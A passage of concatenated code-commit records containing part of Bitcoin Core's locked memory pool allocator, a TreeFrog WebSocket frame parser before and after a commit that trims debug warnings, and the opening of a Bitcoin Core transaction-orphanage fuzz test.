ARENA_SIZE)\n        return nullptr;\n\n    \/\/ Try allocating from each current arena\n    for (auto &arena: arenas) {\n        void *addr = arena.alloc(size);\n        if (addr) {\n            return addr;\n        }\n    }\n    \/\/ If that fails, create a new one\n    if (new_arena(ARENA_SIZE, ARENA_ALIGN)) {\n        return arenas.back().alloc(size);\n    }\n    return nullptr;\n}\n\nvoid LockedPool::free(void *ptr)\n{\n    std::lock_guard<std::mutex> lock(mutex);\n    \/\/ TODO we can do better than this linear search by keeping a map of arena\n    \/\/ extents to arena, and looking up the address.\n    for (auto &arena: arenas) {\n        if (arena.addressInArena(ptr)) {\n            arena.free(ptr);\n            return;\n        }\n    }\n    throw std::runtime_error(\"LockedPool: invalid address not pointing to any arena\");\n}\n\nLockedPool::Stats LockedPool::stats() const\n{\n    std::lock_guard<std::mutex> lock(mutex);\n    LockedPool::Stats r{0, 0, 0, cumulative_bytes_locked, 0, 0};\n    for (const auto &arena: arenas) {\n        Arena::Stats i = arena.stats();\n        r.used += i.used;\n        r.free += i.free;\n        r.total += i.total;\n        r.chunks_used += i.chunks_used;\n        r.chunks_free += i.chunks_free;\n    }\n    return r;\n}\n\nbool LockedPool::new_arena(size_t size, size_t align)\n{\n    bool locked;\n    \/\/ If this is the first arena, handle this specially: Cap the upper size\n    \/\/ by the process limit. This makes sure that the first arena will at least\n    \/\/ be locked. An exception to this is if the process limit is 0:\n    \/\/ in this case no memory can be locked at all so we'll skip past this logic.\n    if (arenas.empty()) {\n        size_t limit = allocator->GetLimit();\n        if (limit > 0) {\n            size = std::min(size, limit);\n        }\n    }\n    void *addr = allocator->AllocateLocked(size, &locked);\n    if (!addr) {\n        return false;\n    }\n    if (locked) {\n        cumulative_bytes_locked += size;\n    } else if (lf_cb) { \/\/ Call the locking-failed callback if locking failed\n        if (!lf_cb()) { \/\/ If the callback returns false, free the memory and fail, otherwise consider the user warned and proceed.\n            allocator->FreeLocked(addr, size);\n            return false;\n        }\n    }\n    arenas.emplace_back(allocator.get(), addr, size, align);\n    return true;\n}\n\nLockedPool::LockedPageArena::LockedPageArena(LockedPageAllocator *allocator_in, void *base_in, size_t size_in, size_t align_in):\n    Arena(base_in, size_in, align_in), base(base_in), size(size_in), allocator(allocator_in)\n{\n}\nLockedPool::LockedPageArena::~LockedPageArena()\n{\n    allocator->FreeLocked(base, size);\n}\n\n\/*******************************************************************************\/\n\/\/ Implementation: LockedPoolManager\n\/\/\nLockedPoolManager::LockedPoolManager(std::unique_ptr<LockedPageAllocator> allocator_in):\n    LockedPool(std::move(allocator_in), &LockedPoolManager::LockingFailed)\n{\n}\n\nbool LockedPoolManager::LockingFailed()\n{\n    \/\/ TODO: log something but how? without including util.h\n    return true;\n}\n\nvoid LockedPoolManager::CreateInstance()\n{\n    \/\/ Using a local static instance guarantees that the object is initialized\n    \/\/ when it's first needed and also deinitialized after all objects that use\n    \/\/ it are done with it.  I can think of one unlikely scenario where we may\n    \/\/ have a static deinitialization order\/problem, but the check in\n    \/\/ LockedPoolManagerBase's destructor helps us detect if that ever happens.\n#ifdef WIN32\n    std::unique_ptr<LockedPageAllocator> allocator(new Win32LockedPageAllocator());\n#else\n    std::unique_ptr<LockedPageAllocator> allocator(new PosixLockedPageAllocator());\n#endif\n    static LockedPoolManager instance(std::move(allocator));\n    LockedPoolManager::_instance = &instance;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright (c) 2015, AOYAMA Kazuharu\n * All rights reserved.\n *\n * This software may be used and distributed according to the terms of\n * the New BSD License, which is incorporated herein by reference.\n *\/\n\n#include <QObject>\n#include <QTimer>\n#include <QCryptographicHash>\n#include <TWebApplication>\n#include <THttpRequestHeader>\n#include <THttpUtility>\n#include \"tabstractwebsocket.h\"\n#include \"twebsocketframe.h\"\n#include \"twebsocketendpoint.h\"\n#include \"turlroute.h\"\n#include \"tdispatcher.h\"\n\nconst QByteArray saltToken = \"258EAFA5-E914-47DA-95CA-C5AB0DC85B11\";\n\n\nTAbstractWebSocket::TAbstractWebSocket(const THttpRequestHeader &header)\n    : reqHeader(header), closing(false), closeSent(false), mutexData(QMutex::NonRecursive),\n      sessionStore(), keepAliveTimer(nullptr)\n{ }\n\n\nTAbstractWebSocket::~TAbstractWebSocket()\n{\n    if (!closing.load()) {\n        tSystemWarn(\"Logic warning  [%s:%d]\", __FILE__, __LINE__);\n    }\n\n    if (keepAliveTimer) {\n        delete keepAliveTimer;\n    }\n}\n\n\nvoid TAbstractWebSocket::sendText(const QString &message)\n{\n    TWebSocketFrame frame;\n    frame.setOpCode(TWebSocketFrame::TextFrame);\n    frame.setPayload(message.toUtf8());\n    writeRawData(frame.toByteArray());\n\n    renewKeepAlive();  \/\/ Renew Keep-Alive interval\n}\n\n\nvoid TAbstractWebSocket::sendBinary(const QByteArray &data)\n{\n    TWebSocketFrame frame;\n    frame.setOpCode(TWebSocketFrame::BinaryFrame);\n    frame.setPayload(data);\n    writeRawData(frame.toByteArray());\n\n    renewKeepAlive();  \/\/ Renew Keep-Alive interval\n}\n\n\nvoid TAbstractWebSocket::sendPing(const QByteArray &data)\n{\n    TWebSocketFrame frame;\n    frame.setOpCode(TWebSocketFrame::Ping);\n    frame.setPayload(data);\n    writeRawData(frame.toByteArray());\n}\n\n\nvoid TAbstractWebSocket::sendPong(const QByteArray &data)\n{\n    TWebSocketFrame frame;\n    frame.setOpCode(TWebSocketFrame::Pong);\n    frame.setPayload(data);\n    writeRawData(frame.toByteArray());\n}\n\n\nvoid TAbstractWebSocket::sendClose(int code)\n{\n    if (!closeSent.exchange(true)) {\n        TWebSocketFrame frame;\n        frame.setOpCode(TWebSocketFrame::Close);\n        QDataStream ds(&frame.payload(), QIODevice::WriteOnly);\n        ds.setByteOrder(QDataStream::BigEndian);\n        ds << (qint16)code;\n        writeRawData(frame.toByteArray());\n\n        stopKeepAlive();\n    }\n}\n\n\nvoid TAbstractWebSocket::startKeepAlive(int interval)\n{\n    tSystemDebug(\"startKeepAlive\");\n    QMutexLocker locker(&mutexData);\n\n    if (!keepAliveTimer) {\n        keepAliveTimer = new TBasicTimer();\n        keepAliveTimer->moveToThread(Tf::app()->thread());\n        keepAliveTimer->setReceiver(thisObject());\n    }\n\n    keepAliveTimer->setInterval(interval * 1000);\n    QTimer::singleShot(0, keepAliveTimer, SLOT(start()));\n}\n\n\nvoid TAbstractWebSocket::stopKeepAlive()\n{\n    tSystemDebug(\"stopKeepAlive\");\n    QMutexLocker locker(&mutexData);\n\n    if (keepAliveTimer) {\n        QTimer::singleShot(0, keepAliveTimer, SLOT(stop()));\n    }\n}\n\n\nvoid TAbstractWebSocket::renewKeepAlive()\n{\n    tSystemDebug(\"renewKeepAlive\");\n    QMutexLocker locker(&mutexData);\n\n    if (keepAliveTimer) {\n        QTimer::singleShot(0, keepAliveTimer, SLOT(start()));\n    }\n}\n\n\nTWebSocketSession TAbstractWebSocket::session() const\n{\n    QMutexLocker locker(&mutexData);\n    TWebSocketSession ret = sessionStore;\n    return ret;\n}\n\n\nvoid TAbstractWebSocket::setSession(const TWebSocketSession &session)\n{\n    QMutexLocker locker(&mutexData);\n    sessionStore = session;\n}\n\n\nbool TAbstractWebSocket::searchEndpoint(const THttpRequestHeader &header)\n{\n    QString name = TUrlRoute::splitPath(header.path()).value(0).toLower();\n\n    if (TWebSocketEndpoint::disabledEndpoints().contains(name)) {\n        return false;\n    }\n\n    QString es = name + QLatin1String(\"endpoint\");\n    TDispatcher<TWebSocketEndpoint> dispatcher(es);\n    TWebSocketEndpoint *endpoint = dispatcher.object();\n    return endpoint;\n}\n\n\nint TAbstractWebSocket::parse(QByteArray &recvData)\n{\n    tSystemDebug(\"parse enter  data len:%d  uuid:%s\", recvData.length(), qPrintable(socketUuid()));\n    if (websocketFrames().isEmpty()) {\n        websocketFrames().append(TWebSocketFrame());\n    } else {\n        const TWebSocketFrame &f = websocketFrames().last();\n        if (f.state() == TWebSocketFrame::Completed) {\n            websocketFrames().append(TWebSocketFrame());\n        }\n    }\n\n    TWebSocketFrame *pfrm = &websocketFrames().last();\n    quint8  b;\n    quint16 w;\n    quint32 n;\n    quint64 d;\n\n    QDataStream ds(recvData);\n    ds.setByteOrder(QDataStream::BigEndian);\n    QIODevice *dev = ds.device();\n\n    while (!ds.atEnd()) {\n        switch (pfrm->state()) {\n        case TWebSocketFrame::Empty: {\n            QByteArray hdr = dev->peek(14);\n            QDataStream dshdr(hdr);\n            dshdr.setByteOrder(QDataStream::BigEndian);\n            QIODevice *devhdr = dshdr.device();\n\n            if (Q_UNLIKELY(devhdr->bytesAvailable() < 2)) {\n                tSystemWarn(\"WebSocket header too short  [%s:%d]\", __FILE__, __LINE__);\n                goto parse_end;\n            }\n\n            dshdr >> b;\n            pfrm->setFirstByte(b);\n            dshdr >> b;\n            bool maskFlag = b & 0x80;\n            quint8 len = b & 0x7f;\n\n            \/\/ payload length\n            switch (len) {\n            case 126:\n                if (Q_UNLIKELY(devhdr->bytesAvailable() < (int)sizeof(w))) {\n                    tSystemWarn(\"WebSocket header too short  [%s:%d]\", __FILE__, __LINE__);\n                    goto parse_end;\n                }\n                dshdr >> w;\n                if (Q_UNLIKELY(w < 126)) {\n                    tSystemError(\"WebSocket protocol error  [%s:%d]\", __FILE__, __LINE__);\n                    return -1;\n                }\n                pfrm->setPayloadLength( w );\n                break;\n\n            case 127:\n                if (Q_UNLIKELY(devhdr->bytesAvailable() < (int)sizeof(d))) {\n                    tSystemWarn(\"WebSocket header too short  [%s:%d]\", __FILE__, __LINE__);\n                    goto parse_end;\n                }\n                dshdr >> d;\n                if (Q_UNLIKELY(d <= 0xFFFF)) {\n                    tSystemError(\"WebSocket protocol error  [%s:%d]\", __FILE__, __LINE__);\n                    return -1;\n                }\n                pfrm->setPayloadLength( d );\n                break;\n\n            default:\n                pfrm->setPayloadLength( len );\n                break;\n            }\n\n            \/\/ Mask key\n            if (maskFlag) {\n                if (Q_UNLIKELY(devhdr->bytesAvailable() < (int)sizeof(n))) {\n                    tSystemError(\"WebSocket parse error  [%s:%d]\", __FILE__, __LINE__);\n                    goto parse_end;\n                }\n                dshdr >> n;\n                pfrm->setMaskKey( n );\n            }\n\n            if (pfrm->payloadLength() == 0) {\n                pfrm->setState(TWebSocketFrame::Completed);\n            } else {\n                pfrm->setState(TWebSocketFrame::HeaderParsed);\n                if (pfrm->payloadLength() >= 2 * 1024 * 1024 * 1024ULL) {\n                    tSystemError(\"Too big frame  [%s:%d]\", __FILE__, __LINE__);\n                    pfrm->clear();\n                } else {\n                    pfrm->payload().reserve(pfrm->payloadLength());\n                }\n            }\n\n            tSystemDebug(\"WebSocket parse header pos: %lld\", devhdr->pos());\n            tSystemDebug(\"WebSocket payload length:%lld\", pfrm->payloadLength());\n\n            int hdrlen = hdr.length() - devhdr->bytesAvailable();\n            ds.skipRawData(hdrlen);  \/\/ Forwards the pos\n            break; }\n\n        case TWebSocketFrame::HeaderParsed:  \/\/ fall through\n        case TWebSocketFrame::MoreData: {\n            tSystemDebug(\"WebSocket reading payload:  available length:%lld\", dev->bytesAvailable());\n            tSystemDebug(\"WebSocket parsing  length to read:%llu  current buf len:%d\", pfrm->payloadLength(), pfrm->payload().size());\n            quint64 size = qMin((pfrm->payloadLength() - pfrm->payload().size()), (quint64)dev->bytesAvailable());\n            if (Q_UNLIKELY(size == 0)) {\n                Q_ASSERT(0);\n                break;\n            }\n\n            char *p = pfrm->payload().data() + pfrm->payload().size();\n            size = ds.readRawData(p, size);\n\n            if (pfrm->maskKey()) {\n                \/\/ Unmask\n                const quint8 mask[4] = { quint8((pfrm->maskKey() & 0xFF000000) >> 24),\n                                         quint8((pfrm->maskKey() & 0x00FF0000) >> 16),\n                                         quint8((pfrm->maskKey() & 0x0000FF00) >> 8),\n                                         quint8((pfrm->maskKey() & 0x000000FF)) };\n\n                int i = pfrm->payload().size();\n                const char *end = p + size;\n                while (p < end) {\n                    *p++ ^= mask[i++ % 4];\n                }\n            }\n            pfrm->payload().resize( pfrm->payload().size() + size );\n            tSystemDebug(\"WebSocket payload curent buf len: %d\", pfrm->payload().length());\n\n            if ((quint64)pfrm->payload().size() == pfrm->payloadLength()) {\n                pfrm->setState(TWebSocketFrame::Completed);\n                tSystemDebug(\"Parse Completed   payload len: %d\", pfrm->payload().size());\n            } else {\n                pfrm->setState(TWebSocketFrame::MoreData);\n                tSystemDebug(\"Parse MoreData   payload len: %d\", pfrm->payload().size());\n            }\n            break; }\n\n        case TWebSocketFrame::Completed:  \/\/ fall through\n        default:\n            Q_ASSERT(0);\n            break;\n        }\n\n        if (pfrm->state() == TWebSocketFrame::Completed) {\n            if (Q_UNLIKELY(!pfrm->validate())) {\n                pfrm->clear();\n                continue;\n            }\n\n            \/\/ Fragmented message validation\n            if (pfrm->opCode() == TWebSocketFrame::Continuation) {\n                if (websocketFrames().count() >= 2) {\n                    const TWebSocketFrame &before = websocketFrames()[websocketFrames().count() - 2];\n                    if (before.isFinalFrame() || before.isControlFrame()) {\n                        pfrm->clear();\n                        tSystemWarn(\"Invalid continuation frame detected  [%s:%d]\", __FILE__, __LINE__);\n                        continue;\n                    }\n                }\n            }\n\n            \/\/ In case of control frame, moves forward after previous control frames\n            if (pfrm->isControlFrame()) {\n                if (websocketFrames().count() >= 2) {\n                    TWebSocketFrame frm = websocketFrames().takeLast();\n                    QMutableListIterator<TWebSocketFrame> it(websocketFrames());\n                    while (it.hasNext()) {\n                        TWebSocketFrame &f = it.next();\n                        if (!f.isControlFrame()) {\n                            break;\n                        }\n                    }\n\n                    it.insert(frm);\n                }\n            }\n\n            if (!ds.atEnd()) {\n                \/\/ Prepare next frame\n                websocketFrames().append(TWebSocketFrame());\n                pfrm = &websocketFrames().last();\n            } else {\n                break;\n            }\n        }\n    }\n\nparse_end:\n    int parsedlen = recvData.size() - dev->bytesAvailable();\n    recvData.remove(0, parsedlen);\n    return parsedlen;\n}\n\n\nvoid TAbstractWebSocket::sendHandshakeResponse()\n{\n    THttpResponseHeader response;\n    response.setStatusLine(Tf::SwitchingProtocols, THttpUtility::getResponseReasonPhrase(Tf::SwitchingProtocols));\n    response.setRawHeader(\"Upgrade\", \"websocket\");\n    response.setRawHeader(\"Connection\", \"Upgrade\");\n\n    QByteArray secAccept = QCryptographicHash::hash(reqHeader.rawHeader(\"Sec-WebSocket-Key\").trimmed() + saltToken,\n                                                    QCryptographicHash::Sha1).toBase64();\n    response.setRawHeader(\"Sec-WebSocket-Accept\", secAccept);\n\n    writeRawData(response.toByteArray());\n}\n<commit_msg>modified debug prints.<commit_after>\/* Copyright (c) 2015, AOYAMA Kazuharu\n * All rights reserved.\n *\n * This software may be used and distributed according to the terms of\n * the New BSD License, which is incorporated herein by reference.\n *\/\n\n#include <QObject>\n#include <QTimer>\n#include <QCryptographicHash>\n#include <TWebApplication>\n#include <THttpRequestHeader>\n#include <THttpUtility>\n#include \"tabstractwebsocket.h\"\n#include \"twebsocketframe.h\"\n#include \"twebsocketendpoint.h\"\n#include \"turlroute.h\"\n#include \"tdispatcher.h\"\n\nconst QByteArray saltToken = \"258EAFA5-E914-47DA-95CA-C5AB0DC85B11\";\n\n\nTAbstractWebSocket::TAbstractWebSocket(const THttpRequestHeader &header)\n    : reqHeader(header), closing(false), closeSent(false), mutexData(QMutex::NonRecursive),\n      sessionStore(), keepAliveTimer(nullptr)\n{ }\n\n\nTAbstractWebSocket::~TAbstractWebSocket()\n{\n    if (!closing.load()) {\n        tSystemWarn(\"Logic warning  [%s:%d]\", __FILE__, __LINE__);\n    }\n\n    if (keepAliveTimer) {\n        delete keepAliveTimer;\n    }\n}\n\n\nvoid TAbstractWebSocket::sendText(const QString &message)\n{\n    TWebSocketFrame frame;\n    frame.setOpCode(TWebSocketFrame::TextFrame);\n    frame.setPayload(message.toUtf8());\n    writeRawData(frame.toByteArray());\n\n    renewKeepAlive();  \/\/ Renew Keep-Alive interval\n}\n\n\nvoid TAbstractWebSocket::sendBinary(const QByteArray &data)\n{\n    TWebSocketFrame frame;\n    frame.setOpCode(TWebSocketFrame::BinaryFrame);\n    frame.setPayload(data);\n    writeRawData(frame.toByteArray());\n\n    renewKeepAlive();  \/\/ Renew Keep-Alive interval\n}\n\n\nvoid TAbstractWebSocket::sendPing(const QByteArray &data)\n{\n    TWebSocketFrame frame;\n    frame.setOpCode(TWebSocketFrame::Ping);\n    frame.setPayload(data);\n    writeRawData(frame.toByteArray());\n}\n\n\nvoid TAbstractWebSocket::sendPong(const QByteArray &data)\n{\n    TWebSocketFrame frame;\n    frame.setOpCode(TWebSocketFrame::Pong);\n    frame.setPayload(data);\n    writeRawData(frame.toByteArray());\n}\n\n\nvoid TAbstractWebSocket::sendClose(int code)\n{\n    if (!closeSent.exchange(true)) {\n        TWebSocketFrame frame;\n        frame.setOpCode(TWebSocketFrame::Close);\n        QDataStream ds(&frame.payload(), QIODevice::WriteOnly);\n        ds.setByteOrder(QDataStream::BigEndian);\n        ds << (qint16)code;\n        writeRawData(frame.toByteArray());\n\n        stopKeepAlive();\n    }\n}\n\n\nvoid TAbstractWebSocket::startKeepAlive(int interval)\n{\n    tSystemDebug(\"startKeepAlive\");\n    QMutexLocker locker(&mutexData);\n\n    if (!keepAliveTimer) {\n        keepAliveTimer = new TBasicTimer();\n        keepAliveTimer->moveToThread(Tf::app()->thread());\n        keepAliveTimer->setReceiver(thisObject());\n    }\n\n    keepAliveTimer->setInterval(interval * 1000);\n    QTimer::singleShot(0, keepAliveTimer, SLOT(start()));\n}\n\n\nvoid TAbstractWebSocket::stopKeepAlive()\n{\n    tSystemDebug(\"stopKeepAlive\");\n    QMutexLocker locker(&mutexData);\n\n    if (keepAliveTimer) {\n        QTimer::singleShot(0, keepAliveTimer, SLOT(stop()));\n    }\n}\n\n\nvoid TAbstractWebSocket::renewKeepAlive()\n{\n    tSystemDebug(\"renewKeepAlive\");\n    QMutexLocker locker(&mutexData);\n\n    if (keepAliveTimer) {\n        QTimer::singleShot(0, keepAliveTimer, SLOT(start()));\n    }\n}\n\n\nTWebSocketSession TAbstractWebSocket::session() const\n{\n    QMutexLocker locker(&mutexData);\n    TWebSocketSession ret = sessionStore;\n    return ret;\n}\n\n\nvoid TAbstractWebSocket::setSession(const TWebSocketSession &session)\n{\n    QMutexLocker locker(&mutexData);\n    sessionStore = session;\n}\n\n\nbool TAbstractWebSocket::searchEndpoint(const THttpRequestHeader &header)\n{\n    QString name = TUrlRoute::splitPath(header.path()).value(0).toLower();\n\n    if (TWebSocketEndpoint::disabledEndpoints().contains(name)) {\n        return false;\n    }\n\n    QString es = name + QLatin1String(\"endpoint\");\n    TDispatcher<TWebSocketEndpoint> dispatcher(es);\n    TWebSocketEndpoint *endpoint = dispatcher.object();\n    return endpoint;\n}\n\n\nint TAbstractWebSocket::parse(QByteArray &recvData)\n{\n    tSystemDebug(\"parse enter  data len:%d  uuid:%s\", recvData.length(), qPrintable(socketUuid()));\n    if (websocketFrames().isEmpty()) {\n        websocketFrames().append(TWebSocketFrame());\n    } else {\n        const TWebSocketFrame &f = websocketFrames().last();\n        if (f.state() == TWebSocketFrame::Completed) {\n            websocketFrames().append(TWebSocketFrame());\n        }\n    }\n\n    TWebSocketFrame *pfrm = &websocketFrames().last();\n    quint8  b;\n    quint16 w;\n    quint32 n;\n    quint64 d;\n\n    QDataStream ds(recvData);\n    ds.setByteOrder(QDataStream::BigEndian);\n    QIODevice *dev = ds.device();\n    QByteArray hdr;\n\n    while (!ds.atEnd()) {\n        switch (pfrm->state()) {\n        case TWebSocketFrame::Empty: {\n            hdr = dev->peek(14);\n            QDataStream dshdr(hdr);\n            dshdr.setByteOrder(QDataStream::BigEndian);\n            QIODevice *devhdr = dshdr.device();\n\n            if (Q_UNLIKELY(devhdr->bytesAvailable() < 2)) {\n                goto parse_end;\n            }\n\n            dshdr >> b;\n            pfrm->setFirstByte(b);\n            dshdr >> b;\n            bool maskFlag = b & 0x80;\n            quint8 len = b & 0x7f;\n\n            \/\/ payload length\n            switch (len) {\n            case 126:\n                if (Q_UNLIKELY(devhdr->bytesAvailable() < (int)sizeof(w))) {\n                    goto parse_end;\n                }\n                dshdr >> w;\n                if (Q_UNLIKELY(w < 126)) {\n                    tSystemError(\"WebSocket protocol error  [%s:%d]\", __FILE__, __LINE__);\n                    return -1;\n                }\n                pfrm->setPayloadLength( w );\n                break;\n\n            case 127:\n                if (Q_UNLIKELY(devhdr->bytesAvailable() < (int)sizeof(d))) {\n                    goto parse_end;\n                }\n                dshdr >> d;\n                if (Q_UNLIKELY(d <= 0xFFFF)) {\n                    tSystemError(\"WebSocket protocol error  [%s:%d]\", __FILE__, __LINE__);\n                    return -1;\n                }\n                pfrm->setPayloadLength( d );\n                break;\n\n            default:\n                pfrm->setPayloadLength( len );\n                break;\n            }\n\n            \/\/ Mask key\n            if (maskFlag) {\n                if (Q_UNLIKELY(devhdr->bytesAvailable() < (int)sizeof(n))) {\n                    goto parse_end;\n                }\n                dshdr >> n;\n                pfrm->setMaskKey( n );\n            }\n\n            if (pfrm->payloadLength() == 0) {\n                pfrm->setState(TWebSocketFrame::Completed);\n            } else {\n                pfrm->setState(TWebSocketFrame::HeaderParsed);\n                if (pfrm->payloadLength() >= 2 * 1024 * 1024 * 1024ULL) {\n                    tSystemError(\"Too big frame  [%s:%d]\", __FILE__, __LINE__);\n                    pfrm->clear();\n                } else {\n                    pfrm->payload().reserve(pfrm->payloadLength());\n                }\n            }\n\n            tSystemDebug(\"WebSocket parse header pos: %lld\", devhdr->pos());\n            tSystemDebug(\"WebSocket payload length:%lld\", pfrm->payloadLength());\n\n            int hdrlen = hdr.length() - devhdr->bytesAvailable();\n            ds.skipRawData(hdrlen);  \/\/ Forwards the pos\n            break; }\n\n        case TWebSocketFrame::HeaderParsed:  \/\/ fall through\n        case TWebSocketFrame::MoreData: {\n            tSystemDebug(\"WebSocket reading payload:  available length:%lld\", dev->bytesAvailable());\n            tSystemDebug(\"WebSocket parsing  length to read:%llu  current buf len:%d\", pfrm->payloadLength(), pfrm->payload().size());\n            quint64 size = qMin((pfrm->payloadLength() - pfrm->payload().size()), (quint64)dev->bytesAvailable());\n            if (Q_UNLIKELY(size == 0)) {\n                Q_ASSERT(0);\n                break;\n            }\n\n            char *p = pfrm->payload().data() + pfrm->payload().size();\n            size = ds.readRawData(p, size);\n\n            if (pfrm->maskKey()) {\n                \/\/ Unmask\n                const quint8 mask[4] = { quint8((pfrm->maskKey() & 0xFF000000) >> 24),\n                                         quint8((pfrm->maskKey() & 0x00FF0000) >> 16),\n                                         quint8((pfrm->maskKey() & 0x0000FF00) >> 8),\n                                         quint8((pfrm->maskKey() & 0x000000FF)) };\n\n                int i = pfrm->payload().size();\n                const char *end = p + size;\n                while (p < end) {\n                    *p++ ^= mask[i++ % 4];\n                }\n            }\n            pfrm->payload().resize( pfrm->payload().size() + size );\n            tSystemDebug(\"WebSocket payload curent buf len: %d\", pfrm->payload().length());\n\n            if ((quint64)pfrm->payload().size() == pfrm->payloadLength()) {\n                pfrm->setState(TWebSocketFrame::Completed);\n                tSystemDebug(\"Parse Completed   payload len: %d\", pfrm->payload().size());\n            } else {\n                pfrm->setState(TWebSocketFrame::MoreData);\n                tSystemDebug(\"Parse MoreData   payload len: %d\", pfrm->payload().size());\n            }\n            break; }\n\n        case TWebSocketFrame::Completed:  \/\/ fall through\n        default:\n            Q_ASSERT(0);\n            break;\n        }\n\n        if (pfrm->state() == TWebSocketFrame::Completed) {\n            if (Q_UNLIKELY(!pfrm->validate())) {\n                pfrm->clear();\n                continue;\n            }\n\n            \/\/ Fragmented message validation\n            if (pfrm->opCode() == TWebSocketFrame::Continuation) {\n                if (websocketFrames().count() >= 2) {\n                    const TWebSocketFrame &before = websocketFrames()[websocketFrames().count() - 2];\n                    if (before.isFinalFrame() || before.isControlFrame()) {\n                        pfrm->clear();\n                        tSystemWarn(\"Invalid continuation frame detected  [%s:%d]\", __FILE__, __LINE__);\n                        continue;\n                    }\n                }\n            }\n\n            \/\/ In case of control frame, moves forward after previous control frames\n            if (pfrm->isControlFrame()) {\n                if (websocketFrames().count() >= 2) {\n                    TWebSocketFrame frm = websocketFrames().takeLast();\n                    QMutableListIterator<TWebSocketFrame> it(websocketFrames());\n                    while (it.hasNext()) {\n                        TWebSocketFrame &f = it.next();\n                        if (!f.isControlFrame()) {\n                            break;\n                        }\n                    }\n\n                    it.insert(frm);\n                }\n            }\n\n            if (!ds.atEnd()) {\n                \/\/ Prepare next frame\n                websocketFrames().append(TWebSocketFrame());\n                pfrm = &websocketFrames().last();\n            } else {\n                break;\n            }\n        }\n    }\n\nparse_end:\n    int parsedlen = recvData.size() - dev->bytesAvailable();\n    recvData.remove(0, parsedlen);\n    return parsedlen;\n}\n\n\nvoid TAbstractWebSocket::sendHandshakeResponse()\n{\n    THttpResponseHeader response;\n    response.setStatusLine(Tf::SwitchingProtocols, THttpUtility::getResponseReasonPhrase(Tf::SwitchingProtocols));\n    response.setRawHeader(\"Upgrade\", \"websocket\");\n    response.setRawHeader(\"Connection\", \"Upgrade\");\n\n    QByteArray secAccept = QCryptographicHash::hash(reqHeader.rawHeader(\"Sec-WebSocket-Key\").trimmed() + saltToken,\n                                                    QCryptographicHash::Sha1).toBase64();\n    response.setRawHeader(\"Sec-WebSocket-Accept\", secAccept);\n\n    writeRawData(response.toByteArray());\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2022 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <consensus\/amount.h>\n#include <consensus\/validation.h>\n#include <net_processing.h>\n#include <node\/eviction.h>\n#include <policy\/policy.h>\n#include <primitives\/transaction.h>\n#include <script\/script.h>\n#include <sync.h>\n#include <test\/fuzz\/FuzzedDataProvider.h>\n#include <test\/fuzz\/fuzz.h>\n#include <test\/fuzz\/util.h>\n#include <test\/util\/setup_common.h>\n#include <txorphanage.h>\n#include <uint256.h>\n#include <util\/check.h>\n#include <util\/time.h>\n\n#include <algorithm>\n#include <cstdint>\n#include <memory>\n#include <set>\n#include <utility>\n#include <vector>\n\nvoid initialize_orphanage()\n{\n    static const auto testing_setup = MakeNoLogFileContext();\n}\n\nFUZZ_TARGET_INIT(txorphan, initialize_orphanage)\n{\n    FuzzedDataProvider fuzzed_data_provider(buffer.data(), buffer.size());\n    SetMockTime(ConsumeTime(fuzzed_data_provider));\n\n    TxOrphanage orphanage;\n    std::set<uint256> orphan_work_set;\n    std::vector<COutPoint> outpoints;\n    \/\/ initial outpoints used to construct transactions later\n    for (uint8_t i = 0; i < 4; i++) {\n        outpoints.emplace_back(uint256{i}, 0);\n    }\n    \/\/ if true, allow duplicate input when constructing tx\n    const bool duplicate_input = fuzzed_data_provider.ConsumeBool();\n\n    LIMITED_WHILE(fuzzed_data_provider.ConsumeBool(), 10 * DEFAULT_MAX_ORPHAN_TRANSACTIONS)\n    {\n        \/\/ construct transaction\n        const CTransactionRef tx = [&] {\n            CMutableTransaction tx_mut;\n            const auto num_in = fuzzed_data_provider.ConsumeIntegralInRange<uint32_t>(1, outpoints.size());\n            const auto num_out = fuzzed_data_provider.ConsumeIntegralInRange<uint32_t>(1, outpoints.size());\n            \/\/ pick unique outpoints from outpoints as input\n            for (uint32_t i = 0; i < num_in; i++) {\n                auto& prevout = PickValue(fuzzed_data_provider, outpoints);\n                tx_mut.vin.emplace_back(prevout);\n                \/\/ pop the picked outpoint if duplicate input is not allowed\n                if (!duplicate_input) {\n                    std::swap(prevout, outpoints.back());\n                    outpoints.pop_back();\n                }\n            }\n            \/\/ output amount will not affect txorphanage\n            for (uint32_t i = 0; i < num_out; i++) {\n                tx_mut.vout.emplace_back(CAmount{0}, CScript{});\n            }\n            \/\/ restore previously poped outpoints\n            for (auto& in : tx_mut.vin) {\n                outpoints.push_back(in.prevout);\n            }\n            const auto new_tx = MakeTransactionRef(tx_mut);\n            \/\/ add newly constructed transaction to outpoints\n            for (uint32_t i = 0; i < num_out; i++) {\n                outpoints.emplace_back(new_tx->GetHash(), i);\n            }\n            return new_tx;\n        }();\n\n        \/\/ trigger orphanage functions\n        LIMITED_WHILE(fuzzed_data_provider.ConsumeBool(), 10 * DEFAULT_MAX_ORPHAN_TRANSACTIONS)\n        {\n            NodeId peer_id = fuzzed_data_provider.ConsumeIntegral<NodeId>();\n\n            CallOneOf(\n                fuzzed_data_provider,\n                [&] {\n                    LOCK(g_cs_orphans);\n                    orphanage.AddChildrenToWorkSet(*tx, orphan_work_set);\n                },\n                [&] {\n                    bool have_tx = orphanage.HaveTx(GenTxid::Txid(tx->GetHash())) || orphanage.HaveTx(GenTxid::Wtxid(tx->GetHash()));\n                    {\n                        LOCK(g_cs_orphans);\n                        bool get_tx = orphanage.GetTx(tx->GetHash()).first != nullptr;\n                        Assert(have_tx == get_tx);\n                    }\n                },\n                [&] {\n                    bool have_tx = orphanage.HaveTx(GenTxid::Txid(tx->GetHash())) || orphanage.HaveTx(GenTxid::Wtxid(tx->GetHash()));\n                    \/\/ AddTx should return false if tx is too big or already have it\n                    \/\/ tx weight is unknown, we only check when tx is already in orphanage\n                    {\n                        LOCK(g_cs_orphans);\n                        bool add_tx = orphanage.AddTx(tx, peer_id);\n                        \/\/ have_tx == true -> add_tx == false\n                        Assert(!have_tx || !add_tx);\n                    }\n                    have_tx = orphanage.HaveTx(GenTxid::Txid(tx->GetHash())) || orphanage.HaveTx(GenTxid::Wtxid(tx->GetHash()));\n                    {\n                        LOCK(g_cs_orphans);\n                        bool add_tx = orphanage.AddTx(tx, peer_id);\n                        \/\/ if have_tx is still false, it must be too big\n                        Assert(!have_tx == GetTransactionWeight(*tx) > 